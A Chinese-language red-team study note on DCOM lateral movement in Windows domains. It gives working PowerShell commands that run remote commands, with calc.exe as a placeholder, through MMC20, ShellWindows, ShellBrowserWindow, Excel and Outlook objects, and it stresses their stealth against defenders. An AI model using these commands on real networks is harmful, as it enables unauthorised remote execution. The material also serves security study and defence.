特点:用域管账户起命令,后台显示的执行者为本地用户;可以用多个对象起命令,隐蔽性高
COM简介
COM 组件对象模型 (Component Object Model,COM) ,是基于 Windows 平台的一套【组件对象接口标准】,由一组【构造规范】和【组件对象库】组成。
COM 是许多微软产品和技术如 “Windows 媒体播放器”和“ Windows Server ”的基础。
DCOM简介
DCOM (分布式组件对象模型)是微软COM的一系列概念和程序【接口】,是COM的扩展,它支持两台机器上的组件间的通信
利用这个接口,客户端程序对象能够向任何网络(包括Internet)中另一台计算机上的服务器程序对象发送请求。(Client > Server)
攻击者可使用 DCOM 横移,可在拥有适当权限的情况下通过 Office 应用程序或其他包含不安全方法的 Windows 对象RCE。
使用DCOM横移时,在远程主机上执行的进程将会是托管 COM 服务器端的软件,可以增加隐蔽性(例如我们滥用 ShellBrowserWindow COM 对象,那么就会在远程主机的现有 explorer.exe 进程中执行)
由于有大量程序都会向 DCOM 公开方法,因此防御者较难以监测所有程序。
使用前提
(实测只需要目标系统的admin权限) × 具有本地admin权限的 PowerShell
目标系统的防火墙关闭
使用的账户在目标主机上有admin权限(或域管账户)
开启135端口(rpc)
本地执行命令
获取 DCOM 程序列表
Get-CimInstance Win32_DCOMApplication (需要Powershell 3.0, Windows Server 2012 及以上)
Get-WmiObject -Namespace ROOT\\CIMV2 -Class Win32_DCOMApplication ( Windows 7 和 Windows Server 2008)
使用 DCOM 执行任意命令
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1")) \\\\获取COM实例
$com.Document.ActiveView | Get-Member \\\\枚举对象中的不同方法和属性
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
\\\\使用MMC20.Application 中的 ExecuteShellCommand 方法执行命令
除了MMC20.Application之外, ShellWindows、ShellBrowserWindow、Excel.Application、Outlook.Application等也可以利用
通过调用模块,在远程主机上执行命令
MMC20.Application
$com = [Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","remote_ip"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
//适用于Windows 7、Windows 10、Windows Server 2008、Windows Server 2016
ShellWindows
$com=[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"remote_ip"))
$com.item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\\windows\\system32",$null,0)
//适用于Windows 7、Windows 10、Windows Server 2008、Windows Server 2016
ShellBrowserWindow
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","remote_ip"))
$com.Document.Application.shellExecute("calc.exe")
//适用于 Windows 10 , Windows Server 2012 R2 等
Excel.Application
$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","remote_ip"))
$com.DisplayAlerts = $false
$com.DDEInitiate("cmd.exe","/c calc.exe")
Visio.Application
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","remote_ip"))
???: $com.[0].Document.Application.shellExecute("calc.exe")
//前提是目标安装了 Visio
Outlook.Application
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","remote_ip"))
$com.createObject("Shell.Application").shellExecute("calc.exe")
//前提是目标安装了 Outlook
dcomexec.py脚本
基本用法
impacket家的都一样,需要 -silentcommand选项
支持模块: -object ShellWindows,ShellBrowserWindow,MMC20 默认ShellWindows
特点
其他exec方法起的程序都在后台,且进程属于连接使用的账户
dcomexec起的程序直接跑前台,且用域管账户起的程序也属于本地账户
MMCexec
mmc简介
mmc.exe(Microsoft Management Console)是系统管理程序的一个框架程序,给扩展名为msc的管理程序提供运行的平台,只要打开了相关程序,进程中就会出现mmc.exe
如设备管理器、本地服务、事件查看器、性能监视器、任务计划程序、组件服务、计算机管理、高级安全Windows防火墙、打印管理、本地安全策略等。
此进程也可能同时运行两个或以上
特点
利用MMC执行命令,不产生额外信息,在admin账户而不是system账户下运行,需要能够访问135端口(DCOM)
工具
secretdump.py(exec-method mmcexec)
Exchange2domain(exec-method mmcexec)(攻击exchange时可用)
本文根据原文进行总结优化,参考地址:【内网学习笔记】23、SMBExec 与 DCOM 的使用 - 知乎